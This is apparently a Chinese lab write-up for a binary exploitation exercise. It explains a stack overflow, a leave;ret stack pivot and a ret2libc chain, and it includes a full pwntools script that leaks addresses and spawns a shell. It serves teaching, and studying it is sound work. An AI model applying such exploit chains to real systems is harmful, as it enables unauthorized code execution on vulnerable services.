上一篇以及介绍了实验原理,就是程序在编译时会加入一些通用函数来进行初始化操作,我们可以针对初始化函数来提取一些通用的gadget,通过泄露某个在libc中的内容在内存中的实际地址,通过计算偏移量来得到system和bin/sh的地址,然后利用返回指令ret连接代码,最终getshell。然而本次实验比较巧妙的地方就是利用了leave指令。
leave|ret
leave指令其实是两个指令合在一起的指令,即
mov rsp,rbp
pop rbp
也就是说我们可以利用这条指令,通过修改rbp,来修改rsp。换句话说就是改变栈上上一级函数的栈基址来修改rbp,再通过mov rsp,rbp来修改rsp,从而使程序继续执行我们想要跳到地址。所以本次实验需要先泄露rbp内的地址,算出偏移量,得到目标地址,然后构造payload。
chechsec命令检查是否有canary保护
图中显示并没有,如果有的话,就先进行泄露。
IDA反汇编
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
通过看源代码可能看出这是一个无限循环,我们来看一下sub_400676()
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar(62);
read(0, &buf, 0x60uLL);
return puts(&buf);
}
由此看出可以利用栈溢出来进行泄露,找到system和bin/sh。
动态调试
linux_64与linux_86的区别体现在编址和传参,在上篇已经描述过,这里不再赘述。
利用IDA可以看到
64位直接可以看出实现栈溢出需要填充多少字符,然后边写脚本边调试,构造payload。这里的payload是利用read()泄露rbp内的地址。
payload='a'*(0x50)
p.recvuntil('>')
p.send(payload)
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('rbp',hex(rbp))
通过计算,可以得出目标rbp偏移量offset=0x50+0x20=0x70
然后第二次进行泄露,利用puts()输出puts在内存中的位置。
payload=p64(0xdeadbeef)+p64(poprdiret)+p64(got_puts)+p64(plt_puts)
payload+=p64(sub676)+'a'* 0x28
payload+=p64(rbp-0x70)+p64(leave)
p.recv()
p.send(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ('puts',hex(puts))
然后计算偏移量来得到通过计算偏移量来得到system和bin_sh的地址
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
这里就是用了LibcSearcher函数,通过代码不难理解其中的含义。
执行之后的结果就是得到了system和bin_sh的实际地址
现在继续调试,此时程序再次执行循环体,所以需要再构造一个payload,将system与bin_sh的地址加在ROP链中,此时我们可以利用read()将system的地址和bin/sh读入到.bss段内存中,来构造payload。但在这里我们也可以利用ROPgadget搜索一下程序中所有的pop|ret,看能不能找到一个gadget将rdi的值指向bin/sh的地址。
发现确实有这样的gadget
所以payload构造如下
payload=p64(0xdeadbeef)+p64(poprdiret)+p64(bin_sh)+p64(system)
payload+='a'* 0x30
payload+=p64(rbp-0xa0)+p64(leave)
p.send(payload)
这样就可以利用ROP链调用system执行system(“/bin/sh”),这样再次与程序交互,就可以getshell了。
来看一下最终的脚本
from LibcSearcher import *
from pwn import *
import pwnlib
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
p=process('./lab4')
elf=ELF('./lab4')
# gdb.attach(p)
got_read=elf.got['read']
got_puts=elf.got['puts']
plt_puts=elf.plt['puts']
plt_read=elf.plt['read']
main=0x00000000004006C0
leave=0x00000000004006BE
elf.addr=0x0000000000400000
poprdiret=0x0000000000400793
sub676=0x0000000000400676
payload='a'*(0x50)
p.recvuntil('>')
p.send(payload)
rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print('rbp',hex(rbp))
payload=p64(0xdeadbeef)+p64(poprdiret)+p64(got_puts)+p64(plt_puts)
payload+=p64(sub676)+'a'* 0x28
payload+=p64(rbp-0x70)+p64(leave)
p.recv()
p.send(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print ('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload=p64(0xdeadbeef)+p64(poprdiret)+p64(bin_sh)+p64(system)
payload+='a'* 0x30
payload+=p64(rbp-0xa0)+p64(leave)
p.send(payload)
p.interactive()
getshell成功!
##心得体会
本次实验比较巧妙地利用了leave指令,而且程序也是一个循环体,就减少了一些payload的复杂程度,其中的具体细节自己实际操作一下会比较有感触。